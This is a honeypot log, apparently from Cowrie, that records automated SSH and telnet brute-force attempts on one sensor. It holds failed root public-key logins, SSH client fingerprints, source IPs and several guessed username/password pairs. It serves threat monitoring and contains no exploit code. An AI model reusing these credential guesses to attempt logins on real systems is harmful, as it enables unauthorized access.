{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:40.800088Z","src_ip":"198.98.52.145","session":"daf7c16e11a2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2c:a4:62:11:90:1a:a0:9b:2e:7c:d0:30:80:5e:d8:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD4MVfVGLd8lcYzcnkjiN1/04RMKxB4VbRunXSDwA3XBrMm2Q3NuNN63EABh3V9sRok4+9O3SCpzgdLr4wQ6wKTiNmij2bUlNGeXSnrK5lQApdKQIz4gcxgwWDOOZgmRz6myZYLeaCDx07amLSCO8Z8JQzTK1nyrf0ZZZdbQrNk0eXYRRV76QhYFP6VBjpJcqnSEihrj3XRp0BB7gry3W58bt7V0ioELjVjXTKmJK8lVCcQv0RhNeijZOsO94U1IpLsG46jOE/kkfz86V4j3EsWsQ5I1K7gefbfJjWlaTZvvY1a01SPTTLqhzG/osAbVchCuy2JV9eVKDL9WizNxWRx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2c:a4:62:11:90:1a:a0:9b:2e:7c:d0:30:80:5e:d8:e3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:40.816593Z","src_ip":"198.98.52.145","session":"daf7c16e11a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2c:a4:62:11:90:1a:a0:9b:2e:7c:d0:30:80:5e:d8:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD4MVfVGLd8lcYzcnkjiN1/04RMKxB4VbRunXSDwA3XBrMm2Q3NuNN63EABh3V9sRok4+9O3SCpzgdLr4wQ6wKTiNmij2bUlNGeXSnrK5lQApdKQIz4gcxgwWDOOZgmRz6myZYLeaCDx07amLSCO8Z8JQzTK1nyrf0ZZZdbQrNk0eXYRRV76QhYFP6VBjpJcqnSEihrj3XRp0BB7gry3W58bt7V0ioELjVjXTKmJK8lVCcQv0RhNeijZOsO94U1IpLsG46jOE/kkfz86V4j3EsWsQ5I1K7gefbfJjWlaTZvvY1a01SPTTLqhzG/osAbVchCuy2JV9eVKDL9WizNxWRx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:40.820924Z","src_ip":"198.98.52.145","session":"daf7c16e11a2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"90:01:0a:be:b5:f5:c4:e4:ef:01:b9:bc:7e:3c:e8:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDbTrnlYA3YGtidL/2yQ2TyWTxIBiTD6cbMdvu9U/2WdV0+oOkqJvUFKbfN1vjvji753inubym/thq/y7fyLtmKwEetya8GN2cZK/A5UiMIb0bsgVzR+sbVXfgeoDguTetYMli/+Ts533uLF5BggPBCVJjvsSG3XR0xMxkxVoAVueYWSMIrBOkDbpOS4h5hBBw6xxq11OwcxUw6Eo4QzNM5+LahRcikc1y5WGBvY3z0FgvS9Mb4Bk7j7+KtlkCTFu0+MI+kV02kf0FD7BQNCu+P9vC7iWKagvItrPHSmdmE5eBqI/fa/nzktp+S14+czH2patZeM5fHK4iPaxfkAKOmyDJS0G1UGg2f7pMEJpmbWyUW48KUzO4TsjKXg9LAqvgGYixLkQLTEVRrOOi9m0bNw/gQ50eL+oIuM09cRRDgJ5wDGX5SW0T5t9cSFqlLjMZhKSUlxjKcUK9oM0GlNKbqiNVL/5cDPVDcbaz6UIG28AH9iMZL5qCAdGXxW1pBptDZk/B/PedYfk+HAtVe12Hnnq3oFNWoT1djWsmqo/LPNGn1jap+lfdJZwH8f8Ji/vmwiheixhzjNi4GYd+spiSEetsB6FPV4JC31ZCqA1AdwWzGElcghHWPQWBCu2oq9oddyRGBfQlP49YpDzJC7uQBjH5Au5piXOJVWVTjp3gomQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 90:01:0a:be:b5:f5:c4:e4:ef:01:b9:bc:7e:3c:e8:85","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:40.830270Z","src_ip":"198.98.52.145","session":"daf7c16e11a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"90:01:0a:be:b5:f5:c4:e4:ef:01:b9:bc:7e:3c:e8:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDbTrnlYA3YGtidL/2yQ2TyWTxIBiTD6cbMdvu9U/2WdV0+oOkqJvUFKbfN1vjvji753inubym/thq/y7fyLtmKwEetya8GN2cZK/A5UiMIb0bsgVzR+sbVXfgeoDguTetYMli/+Ts533uLF5BggPBCVJjvsSG3XR0xMxkxVoAVueYWSMIrBOkDbpOS4h5hBBw6xxq11OwcxUw6Eo4QzNM5+LahRcikc1y5WGBvY3z0FgvS9Mb4Bk7j7+KtlkCTFu0+MI+kV02kf0FD7BQNCu+P9vC7iWKagvItrPHSmdmE5eBqI/fa/nzktp+S14+czH2patZeM5fHK4iPaxfkAKOmyDJS0G1UGg2f7pMEJpmbWyUW48KUzO4TsjKXg9LAqvgGYixLkQLTEVRrOOi9m0bNw/gQ50eL+oIuM09cRRDgJ5wDGX5SW0T5t9cSFqlLjMZhKSUlxjKcUK9oM0GlNKbqiNVL/5cDPVDcbaz6UIG28AH9iMZL5qCAdGXxW1pBptDZk/B/PedYfk+HAtVe12Hnnq3oFNWoT1djWsmqo/LPNGn1jap+lfdJZwH8f8Ji/vmwiheixhzjNi4GYd+spiSEetsB6FPV4JC31ZCqA1AdwWzGElcghHWPQWBCu2oq9oddyRGBfQlP49YpDzJC7uQBjH5Au5piXOJVWVTjp3gomQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:40.835558Z","src_ip":"198.98.52.145","session":"daf7c16e11a2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b8:da:e3:02:e2:8b:45:f2:8a:0f:5a:9d:cf:43:f1:31","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPL7VLew+KtGON0csNwI0MBDqENaFs0RIcivmmzNoQFVivwlIeT+nAn//bpQzTMURRtRvpKxpyyPORJP4QhcYypNIJOrStCG6VQUG49L64FfAfL0dTwcEsmtPpVpF/PCRE/asXRK1v7jV5T+poBi4cjE3sBajckG90hwxWU+9tAjAAAAFQCzERy8vV1zRC9CgVn5DRs2yNcqLQAAAIAR8uskTyDIm8TJPn9gdUBolLaEBLLt9KVHKjYqIXup1f0gGhuw3lxhhhLFiI++B7JeDcOa/iukBzUq8viMH37uOe/2N1e2w5FjDiHGA8uGyXLkgKisqeeFtpxG+eBab44BQjCKw93s3FTLlsgKoO7EOETXXfzMF36mMnrt+N0+CAAAAIEAlNG1R7H/rCN8KogYPDdGmDV75Nz0Ge/d14h1b7CNvJc//eQ5R0yTGVZ6WkHdg/Hit7vy5zIL+XMLT4EweMxGaM0+3OudW1Z0xPd891HCl2e7TMBN42sjJonhQ2EuaeiiHoFNHfhI2L1EAf+Q7eyz3sRX+9MVjleRopUC6OAu7Lw=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint b8:da:e3:02:e2:8b:45:f2:8a:0f:5a:9d:cf:43:f1:31","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:40.843518Z","src_ip":"198.98.52.145","session":"daf7c16e11a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b8:da:e3:02:e2:8b:45:f2:8a:0f:5a:9d:cf:43:f1:31","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPL7VLew+KtGON0csNwI0MBDqENaFs0RIcivmmzNoQFVivwlIeT+nAn//bpQzTMURRtRvpKxpyyPORJP4QhcYypNIJOrStCG6VQUG49L64FfAfL0dTwcEsmtPpVpF/PCRE/asXRK1v7jV5T+poBi4cjE3sBajckG90hwxWU+9tAjAAAAFQCzERy8vV1zRC9CgVn5DRs2yNcqLQAAAIAR8uskTyDIm8TJPn9gdUBolLaEBLLt9KVHKjYqIXup1f0gGhuw3lxhhhLFiI++B7JeDcOa/iukBzUq8viMH37uOe/2N1e2w5FjDiHGA8uGyXLkgKisqeeFtpxG+eBab44BQjCKw93s3FTLlsgKoO7EOETXXfzMF36mMnrt+N0+CAAAAIEAlNG1R7H/rCN8KogYPDdGmDV75Nz0Ge/d14h1b7CNvJc//eQ5R0yTGVZ6WkHdg/Hit7vy5zIL+XMLT4EweMxGaM0+3OudW1Z0xPd891HCl2e7TMBN42sjJonhQ2EuaeiiHoFNHfhI2L1EAf+Q7eyz3sRX+9MVjleRopUC6OAu7Lw=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:40.847083Z","src_ip":"198.98.52.145","session":"daf7c16e11a2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3d:e0:ff:fb:77:85:7d:e7:3c:5c:78:cb:5e:1d:d8:66","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIBYnNDASM9tis/LvSE3Wn0Hpa1ioa+ijna3oz1eu23c","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 3d:e0:ff:fb:77:85:7d:e7:3c:5c:78:cb:5e:1d:d8:66","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:40.856515Z","src_ip":"198.98.52.145","session":"daf7c16e11a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3d:e0:ff:fb:77:85:7d:e7:3c:5c:78:cb:5e:1d:d8:66","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIBYnNDASM9tis/LvSE3Wn0Hpa1ioa+ijna3oz1eu23c","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:40.860591Z","src_ip":"198.98.52.145","session":"daf7c16e11a2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2f:78:60:e2:73:e1:5a:6e:0f:88:d7:49:ac:3c:b2:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDA5TJ93L79ujLnaEQEFqt2RGQnP+ToVo1Q8oWZmMtN7XyMMt9LdhYzt5OtD28vP3j9IpiURvmn8RbmXRuQrtqvGuM5xuE1GBZtErRm8v3IslNLdXaZs/oSviLa2asvKYFTukHLdVWsb82ti+HkiP3LOUiLmDSAOQ0IILVm7IM5KrRiu7x8KxFppUSrfxKWz3Urkl2oUWPoCIDAo60Obg2FUtx1KQ17B+gc6rXvBmtHJ6Wzwbo/a8H/nONgm4TEHWdNil41jqVyGhfcgG1TGMzVZMvX1LxRs44CgoIV8qhBI6/jAR/PXAC7f32QdKe3k3cERkoYn0kv8sqmSlAawQeP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2f:78:60:e2:73:e1:5a:6e:0f:88:d7:49:ac:3c:b2:27","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:40.873551Z","src_ip":"198.98.52.145","session":"daf7c16e11a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2f:78:60:e2:73:e1:5a:6e:0f:88:d7:49:ac:3c:b2:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDA5TJ93L79ujLnaEQEFqt2RGQnP+ToVo1Q8oWZmMtN7XyMMt9LdhYzt5OtD28vP3j9IpiURvmn8RbmXRuQrtqvGuM5xuE1GBZtErRm8v3IslNLdXaZs/oSviLa2asvKYFTukHLdVWsb82ti+HkiP3LOUiLmDSAOQ0IILVm7IM5KrRiu7x8KxFppUSrfxKWz3Urkl2oUWPoCIDAo60Obg2FUtx1KQ17B+gc6rXvBmtHJ6Wzwbo/a8H/nONgm4TEHWdNil41jqVyGhfcgG1TGMzVZMvX1LxRs44CgoIV8qhBI6/jAR/PXAC7f32QdKe3k3cERkoYn0kv8sqmSlAawQeP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:40.877282Z","src_ip":"198.98.52.145","session":"daf7c16e11a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:40.916242Z","src_ip":"198.98.52.145","session":"daf7c16e11a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"23121980","message":"login attempt [user/23121980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:41.786777Z","src_ip":"2.57.121.25","session":"b7863798b9f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.66019606590271,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:41.874158Z","src_ip":"45.58.127.90","session":"4c9553078bd1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42472,"dst_ip":"159.203.135.109","dst_port":22,"session":"f08d1e8f5c92","protocol":"ssh","message":"New connection: 176.65.132.129:42472 (159.203.135.109:22) [session: f08d1e8f5c92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:41.953473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:41.958400Z","src_ip":"176.65.132.129","session":"f08d1e8f5c92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:42.040061Z","src_ip":"176.65.132.129","session":"f08d1e8f5c92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tactical","password":"tactical","message":"login attempt [tactical/tactical] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:42.285843Z","src_ip":"176.65.132.129","session":"f08d1e8f5c92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:42.888631Z","src_ip":"2.57.121.25","session":"b7863798b9f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:43.370180Z","src_ip":"176.65.132.129","session":"f08d1e8f5c92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42482,"dst_ip":"159.203.135.109","dst_port":22,"session":"571cb93a3ef4","protocol":"ssh","message":"New connection: 176.65.132.129:42482 (159.203.135.109:22) [session: 571cb93a3ef4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:45.335591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:45.344735Z","src_ip":"176.65.132.129","session":"571cb93a3ef4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:45.427661Z","src_ip":"176.65.132.129","session":"571cb93a3ef4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo","message":"login attempt [demo/demo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:45.673711Z","src_ip":"176.65.132.129","session":"571cb93a3ef4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.61147713661194,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:45.802519Z","src_ip":"45.58.127.90","session":"bcb705c4fa27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.069722414016724,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:45.914958Z","src_ip":"45.58.127.90","session":"d51cbf073466","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:46.756807Z","src_ip":"176.65.132.129","session":"571cb93a3ef4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.589202642440796,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:48.337870Z","src_ip":"45.58.127.90","session":"04f732e1df58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47472,"dst_ip":"159.203.135.109","dst_port":22,"session":"d86dc2be1609","protocol":"ssh","message":"New connection: 176.65.132.129:47472 (159.203.135.109:22) [session: d86dc2be1609]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:48.735227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:48.739545Z","src_ip":"176.65.132.129","session":"d86dc2be1609","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:48.821534Z","src_ip":"176.65.132.129","session":"d86dc2be1609","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"abc123","message":"login attempt [guest/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:49.068759Z","src_ip":"176.65.132.129","session":"d86dc2be1609","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:50.153816Z","src_ip":"176.65.132.129","session":"d86dc2be1609","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47480,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef07aafc9373","protocol":"ssh","message":"New connection: 176.65.132.129:47480 (159.203.135.109:22) [session: ef07aafc9373]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:52.062338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:52.122990Z","src_ip":"176.65.132.129","session":"ef07aafc9373","protocol":"ssh"}
